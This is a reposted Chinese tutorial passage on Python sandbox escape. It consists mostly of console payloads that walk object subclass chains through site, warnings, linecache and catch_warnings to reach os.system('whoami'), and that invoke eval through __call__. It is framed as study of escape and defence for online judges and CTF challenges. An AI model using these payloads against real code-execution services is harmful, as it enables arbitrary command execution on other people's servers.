加入收藏 | 设为首页 | 会员中心 | 我要投稿 PHP编程网 - 黄冈站长网 (http://www.0713zz.com/)- 数据应用、建站、人体识别、智能机器人、语音技术!
当前位置: 首页 > 运营中心 > 建站资源 > 策划 > 正文

一文看懂Python沙箱逃逸

发布时间:2019-05-24 15:27:36 所属栏目:策划 来源:Macr0phag3
导读:副标题#e# 让用户提交 Python 代码并在服务器上执行,是一些 OJ、量化网站重要的服务,很多 CTF 也有类似的题。为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数,例如 os,研究怎么逃逸、防护这类

可以看到,site 就在里面,以 2.x 的site._Printer为例:

  1. >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os'] 
  2. <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 

os 又回来了。并且 site 中还有 __builtins__。

这个方法不仅限于 A->os,还阔以是 A->B->os,比如 2.x 中的 warnings:

  1. >>> import warnings 
  2. >>>  
  3. >>> warnings.os 
  4. Traceback (most recent call last): 
  5.   File "<stdin>", line 1, in <module> 
  6. AttributeError: 'module' object has no attribute 'os' 
  7. >>>  
  8. >>> warnings.linecache 
  9. <module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'> 
  10. >>> 
  11. >>> warnings.linecache.os 
  12. <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 

在继承链中就可以这样:

  1. >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') 
  2. macr0phag3 

顺便说一下,warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:

  1. def __init__(self, record=False, module=None): 
  2.  
  3.     self._module = sys.modules['warnings'] if module is None else module 

所以通过_module也可以构造 payload:

  1. >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') 
  2. macr0phag3 

3.x 中的warnings虽然没有 linecache,也有__builtins__。

同样,py3.x 中有,利用方式可以为:

  1. >>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami') 
  2. macr0phag3 

顺便提一下,object 本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为:

  1. object.__subclasses__()[117].__init__.__globals__['system']('whoami') 

还有一种是利用builtin_function_or_method 的 __call__:

  1. "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') 

或者简单一点:

  1. [].__getattribute__('append').__class__.__call__(eval, '1+1') 

(编辑:PHP编程网 - 黄冈站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读